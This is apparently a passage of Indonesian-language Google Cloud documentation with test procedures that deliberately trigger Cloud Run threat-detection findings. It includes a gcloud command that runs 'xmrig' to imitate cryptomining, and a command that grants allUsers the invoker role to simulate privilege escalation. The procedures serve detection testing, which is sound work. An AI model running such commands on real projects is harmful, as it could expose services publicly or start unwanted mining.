Prosedur pengujian ini membuat temuan Eksekusi: Image Docker Cryptomining. Perhatikan bahwa deployment tugas akan gagal karena gambar tidak ada, tetapi temuan akan tetap dibuat.

Dampak: Perintah Penambangan Kripto

Untuk memicu temuan Impact: Cryptomining Commands, jalankan perintah dengan argumen yang menyerupai software penambangan kripto yang diketahui.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command xmrig \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Impact: Cryptomining Commands.

Eskalasi Hak Istimewa: Default Compute Engine Service Account SetIAMPolicy

Untuk memicu temuan Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, jalankan perintah yang menggunakan akun layanan Compute Engine default untuk menetapkan kebijakan IAM layanan Cloud Run.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
       --command gcloud \
       --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.

Langkah berikutnya